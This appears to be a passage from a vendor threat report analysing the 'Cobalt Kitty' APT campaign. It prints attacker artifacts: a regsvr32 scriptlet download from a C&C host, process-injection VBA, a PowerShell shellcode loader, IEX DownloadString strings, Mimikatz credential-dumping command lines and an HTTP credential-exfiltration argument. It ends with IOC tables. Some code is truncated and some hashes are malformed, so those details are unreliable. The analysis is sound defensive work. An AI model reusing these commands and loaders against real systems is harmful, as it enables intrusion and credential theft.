' Dim objDeletedItem
' Dim oDes
' Dim objProperty
' Set oDes = Application.Session.GetDefaultFolder(olFolderDeletedItems)
' For Each objItem In oDes.Items
'   Set objProperty = objItem.UserProperties.Find("Deleted")
'   If TypeName(objProperty) <> "Nothing" Then
'     objItem.Delete
' End If
'

'' create process fr command
Dim pInfo As PROCESS_INFORMATION
Dim sInfo As STARTUPINFO
Dim sNull As String
Dim lSuccess As Long
Dim lRetVal As Long
Dim execCommand As String
execCommand = "cmd.exe /C """" & midstr & """

sInfo.dwFlags = STARTF_USESHOWWINDOW
sInfo.wShowWindow = SW_HIDE
sInfo.cb = Len(sInfo)
lSuccess = CreateProcess(sNull, _
   execCommand, _, ByVal 06, _, ByVal 06, _
   16, CREATE_NO_WINDOW, _
   sInfo, pInfo)
```

5. **Acknowledgement** - After the command is executed, the macro will send an acknowledgment email to the attackers’ Gmail account (“OK!”), which it will obtain from the deleted items folder. Then it will delete the email from the sent items folder.

6. **Exfiltrate data** - The macro will send the requested data back to the attackers as an attachment, after it obtains the address from the deleted items folder.

This unique data exfiltration technique was detected by Cybereason:
Analysis of the commands sent by the attackers showed that they were mainly interested in:

1. **Proprietary information** - They attempted to exfiltrate sensitive documents from the targeted departments that contained trade secrets and other proprietary information.

2. **Reconnaissance** - The attackers kept collecting information about the compromised machine as well as the network using commands like: `ipconfig`, `netstat` and `net user`.

### Cobalt Strike

**Cobalt Strike** is a well-known, commercial offensive security framework that is popular among security professionals and is mainly used for security assessments and penetration testing. However, illegal use of this framework has been reported in the past in the context of advanced persistent threats (APTs). Cobalt Strike is also one of the main links of this APT to the OceanLotus group. This group is particularly known for using Cobalt Strike in its different APT campaigns throughout Asia.

The adversaries extensively used this framework during this attack, particularly during the first and fourth stages. **Cobalt Strike's Beacon** was the main tool used in the attack, as shown in the following screenshot, which shows memory strings of one of the payloads used in the attack (ed074a1609616fdb56b40d3059ff4bebe729e436):
The attackers also used a range of other Cobalt Strike and Metasploit tools such as loaders and stagers, especially during the fileless first stage of the operation, which relied mainly on Cobalt Strike’s PowerShell payloads.

**COM Scriptlets (.sct payloads)**

In phases one and two, the attackers used PowerShell scripts to download COM Scriptlets containing malicious code that ultimately used to download a Cobalt Strike beacon. An almost identical usage of this technique (and even payload names) was seen in other APTs carried out by the OceanLotus group. This technique is very well documented and has gained popularity in recent attacks, especially because it’s effectiveness in bypassing Window’s Application Whitelisting. For further details about this technique, please refer to:

- [http://subt0x10.blogspot.co.il/2016/04/bypass-application-whitelisting-script.html](http://subt0x10.blogspot.co.il/2016/04/bypass-application-whitelisting-script.html)

In the screenshot below, an injected rundll32.exe process spawns a cmd.exe process that launches regsvr32.exe in order to download a file from the C&C server.
The command line of the regsvr32.exe process is:
```
regsvr32 /s /n /u /i:hxxp://108.170.31.69:80/a scrobj.dll
```

Additional examples of payloads observed in the attack using COM scriplets:
- `hxxp://108.170.31.69/a` – 02aa9ad73e794bd139fdb46a9dc3c79f4ff91476
- `hxxp://images.verginnet.info:80/ppap.png` – f0a0fb4e005dd5982af5cf6d64d32c43df79e1402
- `hxxp://support(.)chatconnecting.com/pic.png` – f3e27ad08622060fa7a3cc1c7ea83a7885560899

The downloaded file appears to be a COM Scriptlets (.sct):

```
<?XML version="1.0">
<scriptlet>

<registration progid="018c7f" classid="(852de3c6-2a9b-49fd-9f68-5557f5349457)" language="vbscript">
<![CDATA[
Dim objExcel, WshShell, RegPath, action, objWorkbook, xlmodule

Set objExcel = CreateObject("Excel.Application")
objExcel.Visible = False

Set WshShell = CreateObject("Wscript.Shell")

function RegExists(regKey)
on error resume next
WshShell.RegRead regKey
RegExists = (Err.number = 0)
end function

' Get the old AccessVBOM value
RegPath = "\KEY_CURRENT_USER\Software\Microsoft\Office\" & objExcel.Version & "\Excel\Se

if RegExists(RegPath) then
  action = WshShell.RegRead(RegPath)
else
  action = ""

]]>

</registration>
</scriptlet>
```

These COM Scriptlets serve two main purposes:
1. Bypass Window’s Application Whitelisting security mechanism.
2. Download additional payloads from the C&C server (mostly beacon).

The COM scriptlet contains a VB macro with an obfuscated payload:

```
Set objWorkbook = objExcel.Workbooks.Add()
Set objModule = objWorkbook.VBProject.VBComponents.Add(1)
#Module 1
Add statements here...
```

After decoding the encoded part, it can be clearly seen that the payload uses Windows APIs that are indicative of process injection. In addition, it is possible to see that the attackers aimed to evade detection by “renaming” process injection-related functions and also adding spaces to break signature patterns:

```
Private Declare PtrSafe Function CreateStuff Lib "kernel32" Alias "CreateRemoteThread" (ByVal hProcess As Long, ByVal lpThreadData As String, ByVal dwStackSize As Long, ByVal lpStartAddress As Pointer, ByVal dwCreationFlags As Long, ByRef lpThreadId As Long) As Long
Private Declare PtrSafe Function AllocStuff Lib "kernel32" Alias "VirtualAllocEx" (ByVal hProcess As Long, ByVal lpAddress As Pointer, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As Long
```

In addition, the decoded code contains a suspicious looking array (shellcode) as well as the process injection function to Rundll32.exe:
The decoded shellcode is similar to other downloader payloads observed in this attack, whose purpose is to download and execute Cobalt Strike Beacon payload:
Obfuscation and evasion

Don’t-Kill-My-Cat

Most of the PowerShell payloads seen in the attack were wrapped and obfuscated using a framework called Don’t-Kill-My-Cat (DKMC) that is found on GitHub. This framework generates payloads especially designed to evade antivirus solutions. The unique strings used by this framework perfectly match the malicious payloads that were collected during the attack, as demonstrated below:

DKMC’s source code:
https://github.com/Mr-Un1k0d3r/DKMC/blob/master/core/util/exec-sc.ps1

The same framework was previously observed in PowerShell payloads of the OceanLotus Group, as can be seen in a screenshot taken from a previous report:
Examples of Don’t-Kill-My-Cat used in Cobalt Kitty

Example 1: Cobalt Strike Beacon payload found in ProgramData

File: C:\ProgramData\syscheck\syscheck.ps1
SHA-1: 7657769F767CD021438FCCE96A6BEFAF3BB2BA2D

Example 2: Cobalt Strike Beacon payload from C&C server
Invoke-obfuscation (PowerShell Obfuscator)

In the fourth phase of the attack, the attackers changed their PowerShell obfuscation framework and used a new tool called "Invoke-Obfuscation", which is written by Daniel Bohannon and available on GitHub. This tool was recently observed being used by the OceanLotus Group in APTs in Vietnam.

The attackers used it to obfuscate their new PowerShell payloads, which consisted mainly of Cobalt Strike Beacon, Mimikatz and a custom-built credential dumper. Below is an example of a PowerShell payload of a custom credential dumper that was obfuscated with "Invoke-Obfuscation":

```powershell
Get-StrictMode -Version 2

function func_get_proc_address { 
$DoIt = $null

    function func_get_delegate_type { 
        Param (
            $var_module, 
            $var_procedure
        )
        $var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies()).Where-Object { $_.
            return $var_unsafe_native_methods.GetMethod('GetProcAddress').Invoke($null, @([System.Runtime
        ]

        function func_get_delegate_type { 
            Param (
                [Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters,
                [Parameter(Position = 1)] [Type] $var_return_type = [Void]
            }
            $var_type_builder.DefineConstructor('RTSpecialName,HideBySig,Public', [System.Reflection.C
                $var_type_builder.DefineMethod('Invoke', 'Public,HideBySig,NewSlot,Virtual', $var_return_]
                return $var_type_builder.CreateType()
            )
        }
        [Byte[]]$var_code = [System.Convert]::FromBase64String('/OgAAAAA6yv1xCDwASLHDNq8AEV1ac666WJMDNhQ; 
            $var_code, 0, $var_buffer, $var_code.length)
        $var_nthread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get]
            $func_get_proc_address = 
```

PowerShell bypass tool (PSUnlock)

During the attack’s fourth phase, the attackers attempted to revive the PowerShell infrastructure that was shut down during the attack’s first phase.

To restore the ability to use Cobalt Strike and other PowerShell-based tools, the attackers used a slightly customized version of a tool called **PSUnlock**, which is available on GitHub. The tool provides a way to bypass Windows Group Policies preventing PowerShell execution, and execute PowerShell scripts without running PowerShell.exe.

Two different payloads of this tool were observed on the compromised machines:

- 52852C5E478CC656D8C4E1917E356940768E7184 - pshdll35.dll
- EDD5D8622E491DFA2AF50FE9191E788CC9B9AF89 - pshdll40.dll

The metadata of the file clearly shows that these files are linked to the PSUnlock project:
Examples of usage

The attackers changed the original (.exe) file to a .dll file and launched it with Rundll32.exe, passing the desired PowerShell script as an argument using the “-f” flag:

RUNDLL32 C:\ProgramData\PShdll35.dll,main -f C:\ProgramData\nvidia.db

The script actually contains a Cobalt Strike Beacon payload, as shown in the screenshot below, containing the beacon’s indicative strings:

```
0x537bf10 29 could not open process %d: %d
0x537bf30 47 %d is an x86 process (can't inject x64 content)
0x537bf60 47 %d is an x64 process (can't inject x64 content)
0x537bf80 16 NTQueueApicThread
0x537bfe0 30 Could not connect to pipe: %d
0x537c024 34 kerberos ticket purge failed: %08x
0x537c048 32 kerberos ticket use failed: %08x
0x537c06c 29 could not connect to pipe: %d
0x537c08c 25 could not connect to pipe
0x537c0a8 37 Maximum links reached. Disconnect one
0x537c0d4 26 %d%d%d%d %d%d%d%d%d%d
0x537c0f0 20 Could not bind to %d
0x537c108 69 IEX (New-Object Net.Webclient).DownloadString(http://127.0.0.1:%u/)
0x537c150 10 %d%IMPORT%%
0x537c15c 28 Command length (%d) too long
0x537c180 73 IEX (New-Object Net.Webclient).DownloadString(http://127.0.0.1:%u/); %s
0x537c1cc 49 powershell -nop -exec bypass -EncodedCommand "%s"
```
Credential dumpers

The attackers used at least four different kinds of credential dumping tools. Some were custom-built for this operation and others were simply obfuscated to evade detection.

The main credential dumpers were:
1. Mimikatz
2. GetPassword_x64
3. Custom Windows Credential Dumper
4. Customized HookChangePassword

Mimikatz

Benjamin Delpy’s Mimikatz is one of the most popular credential dumping and post-exploitation tools. It was definitely among the threat actor’s favorite tools: it played a major role in helping harvest credentials and carry out lateral movement. The attackers successfully uploaded and executed at least 14 unique Mimikatz payloads, wrapped and obfuscated using different tools.

The following types of Mimikatz payloads were the most used types:
1. Packed Mimikatz binaries (using custom and known packers)
2. PowerSploit’s “Invoke-Mimikatz.ps1”
3. Mimikatz obfuscated with subTee’s PELoader

While most antivirus vendors would detect the official Mimikatz binaries right away, it is still very easy to bypass the antivirus detection using different packers or obfuscators.

During the attack’s first and second phases, the adversaries mainly used the packed binaries of Mimikatz as well as the PowerSploit’s “Invoke-Mimikatz.ps1.” As a result, it was very easy to detect Mimikatz usage just by looking for indicative command line arguments, as demonstrated here:

<table>
<thead>
<tr>
<th>Command Line Arguments</th>
</tr>
</thead>
<tbody>
<tr>
<td>dllhosts.exe &quot;kerberos::ptt c:\programdata\log.dat&quot; kerberos::tgt exit</td>
</tr>
<tr>
<td>dllhosts.exe privilege::debug sekurlsa::logonpasswords exit</td>
</tr>
<tr>
<td>dllhost.exe log privilege::debug sekurlsa::logonpasswords exit</td>
</tr>
<tr>
<td>dllhosts.exe privilege::debug token::elevate lsadump::sam exit</td>
</tr>
<tr>
<td>c:\programdata\dllhosts.exe privilege::debug sekurlsa::logonpasswords exit</td>
</tr>
<tr>
<td>c:\programdata\dllhost.exe log privilege::debug sekurlsa::logonpasswords exit</td>
</tr>
</tbody>
</table>
However, during the third and fourth phases of the attack, the attackers attempted to improve their “stealth”, and started using Malwaria’s PELoader Mimikatz:

The “system.exe” binary is based on Malwaria’s PELoader, which is written using the .NET framework and is fairly easy to decompile. It’s stealthier because it dynamically loads Mimikatz’s binary from the resources section of the PE, and then passes the relevant arguments internally, without leaving traces in the process command line arguments:
Examining the the resources section, one can see a large base64-encoded section:

```
using ...

namespace Loader
{
    internal class Program
    {
        private static void Main(string[] args)
        {
            try
            {
                string text = "c:\programdata\msdte.exe";
                string pefile = Resources.pefile;
                byte[] bytes = Convert.FromBase64String(pefile);
                File.WriteAllBytes(text, bytes);
                Process process = new Process();
                process.StartInfo.UseShellExecute = false;
                process.StartInfo.RedirectStandardOutput = true;
                process.StartInfo.FileName = text;
                process.StartInfo.Arguments = "privilege::debug sekurlsa::logonpasswords exit";
                process.Start();
                string value = process.StandardOutput.ReadToEnd();
                process.WaitForExit(60000);
                process.Delete(text);
                Console.WriteLine(value);
            }
            catch (Exception ex)
            {
                Console.WriteLine(ex.Message);
                Console.WriteLine(ex.StackTrace);
            }
        }
    }
}
```

After decoding it, we can see the MZ header - indicating that indeed a PE file was hidden inside the resources section:
Similar to the original file, this file is also a .NET application, so it was easy to decompile:

```csharp
namespace PLoader
{
    internal class Program
    {
        public static void Main()
        {
            try
            {
                string profile = Resources.pofile;
                byte[] filebytes = Convert.FromBase64String(profile);
                PLoader ploader = new PLoader(filebytes);
                string arg_32_0 = "Preferred Load Address = (0)";
                ulong imagebase = ploader.OptionalHeader64.ImageBase;
                Console.WriteLine(arg_32_0, imagebase.ToString("X4"));
                IntPtr pointer = IntPtr.Zero;
                pointer = NativeDeclarations.VirtualAlloc(IntPtr.Zero, ploader.OptionalHeader64.SizeOfImage, NativeDeclarations.AllocateType.Allocate, 0);
                string arg_87_0 = "Allocated Space For (0) at (1)";
                uint sizeofimage = ploader.OptionalHeader64.SizeOfImage;
                Console.WriteLine(arg_87_0, sizeofimage.ToString("X4"), pointer.ToString("X4"));
                for (int i = 0; i < (int)ploader.FileHeader.NumberOfSections; i++)
                {
                    // Code...
                }
            }
        }
    }
}
```

Examining the resources section shows the base64 embedded file:

After decoding the base64 section, we see that it is another PE file, which is the original Mimikatz payload taken from GitHub:
GetPassword_x64

GetPassword_x64 is a known, publicly available password dumping tool by the K8Team. It was one of the tools used by Chinese “Emissary Panda” group, also known as “Threat Group-3390 (TG-3390)” in Operation Iron Tiger, as reported by TrendMicro.

It is interesting to notice that this tool’s hash, was the one out of the two hashes that were known to threat intelligence engines at the time of the attack:

<table>
<thead>
<tr>
<th>log.exe</th>
<th>7f812da330a617400cb2ff41028c859181fe663f</th>
</tr>
</thead>
<tbody>
<tr>
<td>[GetPassword_x64]</td>
<td></td>
</tr>
</tbody>
</table>

It’s even more interesting to see that even in 2017, almost three years after it was first uploaded to VirusTotal, and two years after the same tool has been reported being used in an APT, it still has a very low detection rate and it is misclassified as adware or Mimikatz:

Below is a screenshot of the tool’s output, dumping local users’ passwords:
Custom “HookPasswordChange”

In an attempt to remain persistent on the network, the attackers introduced a new tool that alerts them if a compromised account password was changed. The attackers borrowed the idea and a lot of the code from a known publicly available tool called “HookPasswordChange”, which was inspired by a previous work done by “carnal0wnage”. The original tool hooks Windows “PasswordChangeNotify” in Windows’ default password filter (rassfm.dll). By doing so, every time this function is called, it will be redirected to the malicious PasswordChangeNotify function, which in turn will copy the changed password to a file and then return the execution back to the original PasswordChangeNotify function, allowing the password to be changed.

The observed payloads are:

SRCHUI.dll - 29BD1BAC25F753693DF2DDF70B83F0E183D9550D
Adrclients.dll - FC92EAC99460FA6F1A40D5A4ACD1B7C3C6647642

As can be seen, the internal names of the DLL files is “Password.exe”. 
The exported functions of the malicious DLLs include the malicious code to hook rassfm.dll’s password change functions:

<table>
<thead>
<tr>
<th>Export Name</th>
<th>Ordinal</th>
<th>Virtual Address</th>
</tr>
</thead>
<tbody>
<tr>
<td>InitializeChangeNotify</td>
<td>0</td>
<td>0x3700</td>
</tr>
<tr>
<td>PasswordChangeNotify</td>
<td>1</td>
<td>0x3740</td>
</tr>
<tr>
<td>PasswordFilter</td>
<td>2</td>
<td>0x3720</td>
</tr>
</tbody>
</table>

Following are strings extracted from the malicious binaries, indicating the hooking of rassfm.dll’s PasswordChangeNotify functions:

However, the code was not taken as is. The attackers made quite a few modifications, most of them are “cosmetic”, like changing functions names and logging strings, as well as adding functionality to suit their needs.

**Custom Outlook credential dumper**

The attackers showed particular interest in obtaining the Outlook passwords of their victims. To do so, they wrote a custom credential dumper in PowerShell that focused on Outlook. Analysis of the code clearly shows that the attackers borrowed code from a known Windows credential dumper and modified it to fit their needs.

The payloads used are the following PowerShell scripts:

C:\ProgramData\doutlook.ps1 -
EBDD6059DA1ABD97E03D37BA001BAD4AA6BCBABD
Since PowerShell execution was disabled at this stage of the attack, they attackers executed the PowerShell script via a tool called PSUnlock that enabled them to bypass PowerShell execution restrictions. This was done as follows:

`rundll32 PShdll35.dll,main -f doutlook.ps1`

The dumped strings of the Rundll32 process teach us two important things:

1. The attackers wrote a binary tool and then ported it to PowerShell, using PowerSploit’s “Invoke-ReflectivePEInjection”.
2. The attackers preconfigured the tools to write the output to ProgramData folder, where they hid most of their tools

Doutlook.ps1:

(0x2f815f0 (194)): `Invoke-ReflectivePEInjection -PEBytes $RawPEFile -ExeArgs '-o c:\programdata\log.txt' -ForceASLR`

Example of the output of the the PowerShell script shows the direct intent to obtain Outlook passwords:
The tool is designed to recover Outlook passwords stored in Windows registry:

- HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles
- HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook

This technique is well known and was used in different tools such as SecurityXploded’s:

In addition, they also used borrowed code from Oxid’s Windows Vault Password Dumper, written by Massimiliano Montoro, as can be clearly seen in the dumped strings from memory:
The original code from Oxid’s Windows Vault Password Dumper matches the strings found in memory:

```
// Obtain the password Vault handler
res = pVaultOpenVault ((DWORD*) valutdir, 0, &hVault);
if (res != 0)
{
    printf ("Cannot open vault. Error (%d)\n", res);
    goto exit;
}

// Enumerate password vault items
res = pVaultEnumerateItems (hVault, 512, &count, (DWORD*) spBuffer);
if (res != 0)
{
    printf ("Cannot enumerate vault items. Error (%d)\n", res);
    goto exit;
}

if (count == 0)
{
    printf ("Windows vault is empty\n");
    goto exit;
}
else
{
    printf ("Default vault location contains %d items\n", count);
}
```

**Custom Windows credential dumper**

The attackers wrote a custom Windows credential dumper, which is a patchwork of two known dumping tools along with their own code. This password dumper borrows much of its code from Oxid’s Windows Vault Password Dumper as well as Oxid’s creddump project.

The observed payloads are:
Adrclients.ps1 - 6609A347932A11FA4C305817A78638E07F04B09F
KB471623.exe - 6609A347932A11FA4C305817A78638E07F04B09F

The PowerShell version reveals the command-line arguments that the attackers need to supply the program:

```
Invoke-ReflectivePEInjection -PEBytes $RawPEFile -ExeArgs '/s http://example.com/q= /l C:\programdata\log.txt /d C:\programdata\adrclients.dll' -ForceASLR
```

- **URL** - to post the dumped credentials in GET parameters
- **Log file** - log all dumped credentials in a file called “log.txt” created in programdata
- **DLL** - to load `HookPasswordChange` payload

This above command line arguments do not appear in the code of the two aforementioned Oxid’s projects. It was added by the attackers in order to include exfiltration over HTTP along with the ability to combine the `HookPasswordChange` functionality.

Example of strings found in the binaries of the custom credential dumper:

```
Missing arguments.
Can't create log file.
Set Debug Privilege fail. Error: %d
Open LSA.
OpenProcess fail. Error: %d
Start Inject.
Load DLL OK.
invalid string position
vector<T> too long
string too long
SeDebugPrivilege
NtQuerySystemInformation
RtlCompareUnicodeString
Kernel32
Load Kernel32 fail. Error : %d
InitChangeNotify
```

**Modified NetCat**

The attackers used a [customized version](https://github.com) of the famous “Netcat” aka, tcp/ip "Swiss Army knife", which was taken from GitHub. The tool was executed on very few machines, and was uploaded to the compromised machines by the backdoor (goopdate.dll):
File names: kb74891.exe, kb-10233.exe
SHA-1 Hash: c5e19c02a9a1362c67ea87c1e049ce9056425788

The attackers named the executable “kb-10233.exe”, masquerading as a Windows update file. Netcat is usually detected by most of security products as a hacktool. however, this version is only detected by one antivirus vendor, and this is most likely the reason the attackers chose to use it.

https://virustotal.com/en/file/bf01148b2a428bf6edff570c1bbfbf51a342ff7844ceccaf22c0e09347d59a54/analysis/

Custom IP check tool

The attackers used an unknown tool, whose purpose is simply to check the external IP of the compromised machine:
It’s interesting that the attackers renamed the executable twice from \texttt{ip.exe} to \texttt{dllhost.exe} or \texttt{cmd.exe}, probably to make it appear less suspicious by giving it common Windows executables names:

\begin{itemize}
\item[c:\programdata\dllhost.exe] 6aec53554f93c61f4e3977747328b8e2b1283af2
\item[c:\programdata\cmd.exe] 6aec53554f93c61f4e3977747328b8e2b1283af2
\item[c:\programdata\ip.exe] 6aec53554f93c61f4e3977747328b8e2b1283af2
\end{itemize}

The IP tool was deployed by the attackers in the attack’s second phase. The product name “WindowsFormsApplication1”, strongly suggests that the tool was written using Microsoft’s .NET framework:

- File

The code is very short and straight-forward and clearly reveals the tool’s purpose: checking the external IP of the compromised machine using the well-known IP service \texttt{ipinfo.io}. 

©2017 Cybereason Inc. All rights reserved.
using System;
using System.Net;
	namespace WindowsFormsApplication1
{
		internal static class Program
	{
			[STAThread]
			private static void Main()
		{
				string value = string.Empty;
				try
				{
					WebClient webClient = new WebClient();
					value = webClient.DownloadString("http://ipinfo.io/ip");
				}
				catch (Exception ex)
				{
					value = ex.Message;
				}
				Console.WriteLine(value);
			}
	}
}
# Indicators of Compromise (IOCs)

## Malicious files

<table>
<thead>
<tr>
<th>File name</th>
<th>SHA-1 hash</th>
</tr>
</thead>
<tbody>
<tr>
<td>Msfte.dll</td>
<td>be6342fc2f33d8380e0ee5531592e9f676bb1f94</td>
</tr>
<tr>
<td></td>
<td>638b7b0536217c8923e856f4138d9caaff7eb309d</td>
</tr>
<tr>
<td></td>
<td>dcbe007ac5684793ea34bf27fdaa2952c4e84d12</td>
</tr>
<tr>
<td></td>
<td>43b85c5387aafb91aea599782622eb9d0b5b151f</td>
</tr>
<tr>
<td>Variant of Backdoor.Win32.Denis</td>
<td></td>
</tr>
<tr>
<td>Goopdate.dll</td>
<td>9afe0ac621c00829f960d06c16a3e556cd0de249</td>
</tr>
<tr>
<td></td>
<td>973b1ca8661be6651114edf29b10b31db4e218f7</td>
</tr>
<tr>
<td></td>
<td>1c503a44ed9a28aad1fa3227dc1e0556bbe79919</td>
</tr>
<tr>
<td></td>
<td>2e29e61620f2b5c2fd31c4eb812c84e57f20214a</td>
</tr>
<tr>
<td></td>
<td>c7b190119cec8c96b7e36b7c2cc90773ccfd81f0</td>
</tr>
<tr>
<td></td>
<td>185b7db0fe0236df53e45b9c2a446e627b4c6a</td>
</tr>
<tr>
<td></td>
<td>ef0f9aaf16ab65e4518296c77ee54e1178787e21</td>
</tr>
<tr>
<td>Goopy backdoor</td>
<td></td>
</tr>
<tr>
<td>product_info.dll</td>
<td>3cf4b44c9470fb5bd0c16996c4b2a338502a7517</td>
</tr>
<tr>
<td>[Backdoor exploiting DLL-hijacking against Kaspersky Avpia]</td>
<td></td>
</tr>
<tr>
<td>VbaProject.OTM</td>
<td>320e25629327e0e8946f3ea7c2a747ebd37fe26f</td>
</tr>
<tr>
<td>[Outlook Macro]</td>
<td></td>
</tr>
<tr>
<td>sunjavascheduler.ps1</td>
<td>0d3a33cb848499a9404d099f8238a6a0e0a4b471</td>
</tr>
<tr>
<td>sndVolSSO.ps1</td>
<td>c219a1ac5b4fd6d20a61bb5fd68f65bbd40b453</td>
</tr>
<tr>
<td>SCVHost.ps1</td>
<td>91e9465532ef967c93b1ef04b7a906a533a370e</td>
</tr>
<tr>
<td>fhsvcs.ps1</td>
<td></td>
</tr>
<tr>
<td>Goztp.ps1</td>
<td></td>
</tr>
<tr>
<td>[PowerShell versions of the Denis / Goopy backdoors]</td>
<td></td>
</tr>
</tbody>
</table>

## Cobalt Strike Beacons
<table>
<thead>
<tr>
<th>File name</th>
<th>SHA-1 hash</th>
</tr>
</thead>
<tbody>
<tr>
<td>dns.exe</td>
<td>cd675977bf235eac49db60f6572be0d4051b9c07</td>
</tr>
<tr>
<td>msfte.dll</td>
<td>2f8e5f81a8ca94ec36380272e36a22e326aa40a4</td>
</tr>
<tr>
<td>FVEAPI.dll</td>
<td>01197697e554021af1ce7e980a5950a5fcf88318</td>
</tr>
<tr>
<td>sunjavascheduler.ps1</td>
<td>7657769f767cd021438fcce96a6befaf3bb2ba2d</td>
</tr>
<tr>
<td>syscheck.ps1</td>
<td>Ed074a1609616fdb56b40d3059ff4bebe729e436</td>
</tr>
<tr>
<td>dns.ps1</td>
<td>D667701804CA05BB536B80337A33D0714EA28129</td>
</tr>
<tr>
<td>activator.ps1</td>
<td>F45A41D30F9574C41FE0A27CB121A667295268B2</td>
</tr>
<tr>
<td>nvidia.db</td>
<td>7F4C28639355B0B6244EADBC8943E373344B2E7E</td>
</tr>
</tbody>
</table>

Malicious Word Documents

***Some of the phishing emails and Word documents were very targeted and personalized, therefore, they are not listed here for privacy reasons.

<table>
<thead>
<tr>
<th>File name</th>
<th>SHA-1 hash</th>
</tr>
</thead>
<tbody>
<tr>
<td>CV.doc</td>
<td>[redacted]</td>
</tr>
<tr>
<td>Complaint letter.doc</td>
<td></td>
</tr>
<tr>
<td>License Agreement.doc</td>
<td></td>
</tr>
</tbody>
</table>

Loader scripts

<table>
<thead>
<tr>
<th>File name</th>
<th>SHA-1 hash</th>
</tr>
</thead>
<tbody>
<tr>
<td>syscheck.vbs</td>
<td>62749484f7a6b4142a2b5d54f589a950483dfcc9</td>
</tr>
<tr>
<td>SndVolSSO.txt</td>
<td>cb3a982e15ae382c0f6bdacc0fcecf3a9d4a068d</td>
</tr>
<tr>
<td>File name</td>
<td>SHA-1 hash</td>
</tr>
<tr>
<td>-------------------</td>
<td>------------------------------------------------</td>
</tr>
<tr>
<td>sunjavascheduler.txt</td>
<td>7a02a835016bc630aa9e20bc4bc0967715459daba</td>
</tr>
<tr>
<td><strong>Obfuscated / customized Mimikatz</strong></td>
<td></td>
</tr>
<tr>
<td><strong>File name</strong></td>
<td><strong>SHA-1 hash</strong></td>
</tr>
<tr>
<td>dllhosts.exe</td>
<td>5a31342e8e33e2bbe17f182f2f2b508edb20933f23c466c465ad09f0ebec007121f73e5b630ecf614FDEF1F5469EB7B67EB9186AA0C30AFAF77A07C</td>
</tr>
<tr>
<td>KB571372.ps1</td>
<td>7CADFB90E36FA3100AF45AC6F37DC55828FC084A</td>
</tr>
<tr>
<td>KB647152.exe</td>
<td>7BA6BFEA546D0FC8469C09D8F84D30AB0F20A129</td>
</tr>
<tr>
<td>KB647164.exe</td>
<td>BDCADEAE92C7C662D771507D78689D4B62D897F9</td>
</tr>
<tr>
<td>kb412345.exe</td>
<td>e0aaa10bf812a17bb615637bf670c785bca34096</td>
</tr>
<tr>
<td>kb681234.exe</td>
<td>4bd060270da3b9666f5886cf4eeaeaf3164fad438</td>
</tr>
<tr>
<td>System.exe</td>
<td>33cb4e6e291d752b9dc3c85dfe63ce9cf0dbfbc550f1d37d3dd09e023d552904cdefb342f2bf0d35</td>
</tr>
<tr>
<td>decoded base64 Mimikatz payload</td>
<td>c0950ac1be159e6ff1bf6c9593f06a3f0e721dd4</td>
</tr>
<tr>
<td><strong>Customized credential dumpers</strong></td>
<td></td>
</tr>
<tr>
<td><strong>File name</strong></td>
<td><strong>SHA-1 hash</strong></td>
</tr>
</tbody>
</table>
### File name

<table>
<thead>
<tr>
<th>File name</th>
<th>SHA-1 hash</th>
</tr>
</thead>
<tbody>
<tr>
<td>log.exe</td>
<td>7f812da330a617400cb2ff41028c859181fe663f</td>
</tr>
<tr>
<td>SRCHUI.dll</td>
<td>29BD1BAC25F753693DF2DDF70B83F0E183D9550DFC92EAC99460FA6F1A40D5A4ACD1B7C3C6647642</td>
</tr>
<tr>
<td>KB471623.exe</td>
<td>6609A347932A11FA4C305817A78638E07F04B09F</td>
</tr>
<tr>
<td>dovlook.ps1</td>
<td>EBDD6059DA1ABD97E03D37BA001BAD4AA6BCBABDB769FE81996CBF7666F916D741373C9C55C71F15E64C2ED72A146271CCEE9EE904360230B69A2C1D</td>
</tr>
</tbody>
</table>

### Miscellaneous tools

<table>
<thead>
<tr>
<th>File name</th>
<th>SHA-1 hash</th>
</tr>
</thead>
<tbody>
<tr>
<td>pshdll35.dll</td>
<td>52852C5E478CC656D8C4E1917E356940768E7184EDD5D8622E491DFA2AF50FE9191E788CC9B9AF89</td>
</tr>
<tr>
<td>KB-10233.exe</td>
<td>C5e19c02a9a1362c67ea87c1e049ce90564257880908a7fbc74e32ced8877ac983373ab289608b3</td>
</tr>
<tr>
<td>IP.exe</td>
<td>6aeec53554f93cc61f4e3977747328b8e2b1283af2</td>
</tr>
</tbody>
</table>

### Payloads from C&C servers

<table>
<thead>
<tr>
<th>URL</th>
<th>Payload SHA-1 hash</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td></td>
</tr>
<tr>
<td>URL</td>
<td>Hash</td>
</tr>
<tr>
<td>----------------------------------------------------------------------</td>
<td>----------------------------------------------------------------------</td>
</tr>
<tr>
<td>hxxp://104.237.218(.)67:80/icon.ico</td>
<td>6dc7bd14b93a647ebbb1d2ecb752e750c4ab6b09</td>
</tr>
<tr>
<td>hxxp://support.chatconnecting(.)com:80/icon.ico</td>
<td>c41972517f268e214d1d6c446ca75e795646c5f2</td>
</tr>
<tr>
<td>hxxp://food.letsmiles(.)org/login.txt</td>
<td>9f95b81372eaf722a705d1f94a2632aad5b5c180</td>
</tr>
<tr>
<td>hxxp://food.letsmiles(.)org/9niL</td>
<td>5B4459252A9E67D085C8B6AC4704GB276C7A6700</td>
</tr>
<tr>
<td>hxxp://23.227.196(.)210:80/logscreen.jpg</td>
<td>d8f31a78e1d158032f789290fa52ada6281c9a1f50f6c37e33fb6ba88e5dd009b81f0cae79355e</td>
</tr>
<tr>
<td>hxxp://45.114.117(.)137/eXYF</td>
<td>D1E3D0DDE43E9D294A39013C07261A411FF1C491BD627C7B8A34AB334B5E929AF6981FCEBF268</td>
</tr>
<tr>
<td>hxxp://images.verginnet(.)info:80/ppap.png</td>
<td>F0A0FB4E005DD5982AF5CFD64D32C43DF7E91402</td>
</tr>
<tr>
<td>hxxp://176.107.176(.)6/QVPh</td>
<td>8FC9D1DADF5CEF6CFE6996E4DA9E4AD3132702C</td>
</tr>
<tr>
<td>hxxp://108.170.31(.)69/a</td>
<td>4a3f9e31dc6362ab9e632964caad98d1120a1a7</td>
</tr>
<tr>
<td>hxxp://support(.)chatconnecting(.)com/pic.png</td>
<td>bb82f02026cf515eab2cc88faa7d18148f424f72</td>
</tr>
<tr>
